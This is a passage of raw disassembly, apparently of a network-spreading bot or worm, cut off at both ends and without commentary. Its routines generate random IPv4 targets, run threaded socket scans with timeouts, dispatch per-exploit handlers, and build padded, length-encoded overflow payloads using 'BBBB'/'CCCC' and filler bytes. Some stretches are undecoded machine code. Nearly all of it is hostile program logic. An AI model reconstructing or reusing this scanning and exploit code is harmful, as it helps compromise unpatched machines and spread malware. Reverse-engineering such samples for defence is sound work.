[ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEB proc near ; CODE XREF: sub_40C124+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C013 xor eax, eax jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFEB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C040 call sub_41B8E2 mov [ebp+var_C], eax loc_40C040: ; CODE XREF: sub_40BFEB+4Bj cmp [ebp+var_8], esi jnz short loc_40C04D call sub_41B8E2 mov [ebp+var_8], eax loc_40C04D: ; CODE XREF: sub_40BFEB+58j cmp [ebp+var_4], esi jnz short loc_40C05A call sub_41B8E2 mov [ebp+var_4], eax loc_40C05A: ; CODE XREF: sub_40BFEB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C066 call sub_41B8E2 loc_40C066: ; CODE XREF: sub_40BFEB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB0C0[ecx*8], eax loc_40C084: ; CODE XREF: sub_40BFEB+26j pop esi leave retn sub_40BFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: ___:0040B8FAp ; sub_40C124+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B0 xor eax, eax jmp short loc_40C11F ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C087+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CAF74 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB010 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CAF1C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CAF5C push esi mov edi, eax call dword_4CB00C xor eax, eax cmp edi, ebx setnle al loc_40C11F: ; CODE XREF: sub_40C087+27j pop edi pop esi pop ebx leave retn sub_40C087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C124 proc near ; DATA XREF: sub_40C124+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 2680D12h push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16B: ; CODE XREF: sub_40C124+204j mov eax, dword_43DEB4[ebx] cmp dword_4CB0C4[eax*8], 0 jz loc_40C32D cmp [ebp+var_10], 0 push eax jz short loc_40C195 lea eax, [ebp+var_150] push eax call sub_40BFEB pop ecx jmp short loc_40C19A ; --------------------------------------------------------------------------- loc_40C195: ; CODE XREF: sub_40C124+60j call sub_40BFA3 loc_40C19A: ; CODE XREF: sub_40C124+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43DEB4[ebx] push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A74 push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43DCB0[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C087 add esp, 14h cmp eax, 1 jnz loc_40C31D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C271 push offset dword_4CD0C0 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A4C push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C253 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C247 lea eax, [ebp+var_140] loc_40C247: ; CODE XREF: sub_40C124+11Bj push eax push [ebp+var_40] call sub_409A72 add esp, 14h loc_40C253: ; CODE XREF: sub_40C124+100j lea eax, [ebp+var_28C] push eax call sub_4151AC mov [esp+29Ch+var_29C], offset dword_4CD0C0 call near ptr 77F7E300h nop jmp loc_40C31D ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C124+D0j push edi call dword_4CB000 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B6 lea eax, [ebp+var_140] loc_40C2B6: ; CODE XREF: sub_40C124+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43140C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31D: ; CODE XREF: sub_40C124+C6j ; sub_40C124+148j push 7D0h nop call near ptr 26705B3h jmp loc_40C16B ; --------------------------------------------------------------------------- loc_40C32D: ; CODE XREF: sub_40C124+55j push esi call sub_40B412 pop ecx push 0 nop call near ptr 26D0000h loc_40C33C: ; DATA XREF: sub_401ACD+1F81o ; sub_401ACD+5C48o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CAFB4 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB0C0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACD push 0Bh call sub_40B33E add esp, 150h cmp eax, ebx jnz short loc_40C40A mov esi, offset dword_4CD0C0 push esi nop call near ptr 26D070Fh push 80000400h push esi nop call near ptr 26D0578h test eax, eax jnz short loc_40C40A lea eax, [ebp+var_1CC] push offset unk_431B58 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C3F4: ; CODE XREF: sub_40C124+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AC pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40A: ; CODE XREF: sub_40C124+27Bj ; sub_40C124+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB0C4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D7 loc_40C428: ; CODE XREF: sub_40C124+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431B24 push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43DEB4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C124 push ebx push ebx call near ptr 2670659h nop mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40C4A2 loc_40C497: ; CODE XREF: sub_40C124+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4C9 push 1Eh call esi jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C4A2: ; CODE XREF: sub_40C124+371j nop call near ptr 2680000h push eax lea eax, [ebp+var_1CC] push offset unk_431AEC push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AC add esp, 10h loc_40C4C9: ; CODE XREF: sub_40C124+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C428 loc_40C4D7: ; CODE XREF: sub_40C124+2FEj cmp [ebp+var_30], ebx jz loc_40C581 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4EC: ; CODE XREF: sub_40C124+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB0C0[eax*8] push eax call dword_4CB000 push eax lea eax, [ebp+var_1CC] push offset unk_431AAC push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C53A: ; CODE XREF: sub_40C124+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AC mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB0C4[eax*8], ebx call esi push 0Bh call sub_40B33E cmp eax, 1 pop ecx jnz short loc_40C571 push offset dword_4CD0C0 nop call near ptr 26D070Fh loc_40C571: ; CODE XREF: sub_40C124+440j push [ebp+var_2C] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h loc_40C581: ; CODE XREF: sub_40C124+3B6j ; sub_40C124+475j mov eax, [ebp+var_2C] cmp dword_4CB0C4[eax*8], 1 jnz loc_40C4EC push 7D0h call esi jmp short loc_40C581 sub_40C124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59B proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CAF74 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C659 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CAF1C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43DEBC[ecx], esi jz short loc_40C659 push [ebp+var_38] push [ebp+var_28] call dword_4CB000 push eax mov edi, offset dword_4CDA84 push offset dword_431B8C push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A72 push edi call sub_4151AC add esp, 28h loc_40C659: ; CODE XREF: sub_40C59B+5Dj ; sub_40C59B+7Ej push esi call dword_4CB00C pop edi xor eax, eax pop esi leave retn 4 sub_40C59B endp ; --------------------------------------------------------------------------- dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+603Eo dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C59Bh, 6AE85757h, 9002263Fh, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 1FE890FCh, 0FF022442h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 90575700h dd 263E78E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0E8900875h, 224412Eh, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh dd 5000431Bh, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep ; sub_40CADA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C866 endp ; =============== S U B R O U T I N E ======================================= sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A2 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A2: ; CODE XREF: sub_40C870+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p ; sub_40CA1E+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F6 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AA endp ; =============== S U B R O U T I N E ======================================= sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep ; sub_40C9A4+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C90F push eax call sub_41B0B1 pop ecx loc_40C90F: ; CODE XREF: sub_40C8FF+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C8FF endp ; =============== S U B R O U T I N E ======================================= sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p ; sub_40CA7F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C945 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C949 loc_40C945: ; CODE XREF: sub_40C918+Dj xor al, al jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C949: ; CODE XREF: sub_40C918+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96E mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C988 ; --------------------------------------------------------------------------- loc_40C96E: ; CODE XREF: sub_40C918+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C988: ; CODE XREF: sub_40C918+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A0: ; CODE XREF: sub_40C918+2Fj pop edi pop esi pop ebx retn sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p ; sub_40CADA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CAE2C call sub_40C8AA lea ecx, [ebp+var_8] call sub_40C918 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DE xor al, al jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9DE: ; CODE XREF: sub_40C9A4+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C8FF mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C8FF mov al, 1 loc_40CA1A: ; CODE XREF: sub_40C9A4+38j pop edi pop esi leave retn sub_40C9A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p ; sub_40CA6F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1E endp ; =============== S U B R O U T I N E ======================================= sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p ; sub_40CADA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1E pop esi retn 4 sub_40CA52 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp ; sub_40CADA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1E retn 8 sub_40CA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p ; sub_40CADA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C918 test al, al jz short loc_40CAB8 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42C8E8 call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj pop esi leave retn sub_40CA7F endp ; =============== S U B R O U T I N E ======================================= sub_40CABB proc near ; CODE XREF: sub_40CADA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA6F test al, al jz short loc_40CAD6 mov ecx, esi call sub_40CA7F loc_40CAD6: ; CODE XREF: sub_40CABB+12j pop esi retn 8 sub_40CABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADA proc near ; CODE XREF: ___:0040D361p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C866 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2E mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2E push esi lea ecx, [ebp+var_30] call sub_40C866 lea ecx, [ebp+var_20] call sub_40C866 lea ecx, [ebp+var_50] call sub_40C866 lea ecx, [ebp+var_18] call sub_40C866 lea ecx, [ebp+var_40] call sub_40C866 lea ecx, [ebp+var_38] call sub_40C866 lea ecx, [ebp+var_28] call sub_40C866 push 4 push offset dword_431C40 lea ecx, [ebp+var_30] call sub_40CA1E push 3 push offset dword_431C48 lea ecx, [ebp+var_30] call sub_40CA1E lea ecx, [ebp+var_30] call sub_40C9A4 lea ecx, [ebp+var_30] call sub_40CA7F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CA1E push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1E mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1E lea ecx, [ebp+var_20] call sub_40C9A4 push offset loc_431FC4 lea ecx, [ebp+var_50] call sub_40CA52 lea ecx, [ebp+var_50] call sub_40C9A4 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C870 lea ecx, [ebp+var_58] call sub_40C9A4 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABB lea ecx, [ebp+var_58] call sub_40C8FF push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA52 push 4 push offset dword_431C4C lea ecx, [ebp+var_18] call sub_40CA1E push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1E sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1E lea ecx, [ebp+var_18] call sub_40C9A4 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA6F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA6F lea ecx, [ebp+var_40] call sub_40CA7F lea ecx, [ebp+var_18] call sub_40C8FF lea ecx, [ebp+var_50] call sub_40C8FF push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA6F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA6F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA6F lea ecx, [ebp+var_38] call sub_40CA7F lea ecx, [ebp+var_20] call sub_40C8FF lea ecx, [ebp+var_30] call sub_40C8FF lea ecx, [ebp+var_40] call sub_40C8FF push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1E lea ecx, [ebp+var_28] call sub_40C9A4 push 2 push offset dword_431FB8 lea ecx, [ebp+var_28] call sub_40CA1E push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA6F lea ecx, [ebp+var_28] call sub_40CA7F lea ecx, [ebp+var_38] call sub_40C8FF lea ecx, [ebp+var_10] call sub_40C866 lea ecx, [ebp+var_8] call sub_40C866 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_28] call sub_40C8FF push offset dword_431FB4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push offset dword_431FB0 lea ecx, [ebp+var_10] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_8] call sub_40C8FF push offset dword_431FA4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push (offset loc_431F9F+1) lea ecx, [ebp+var_48] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C8FF mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj ; sub_40CADA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3C: ; CODE XREF: sub_40CADA+352j pop edi pop ebx leave retn sub_40CADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p ; sub_40CF04+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, 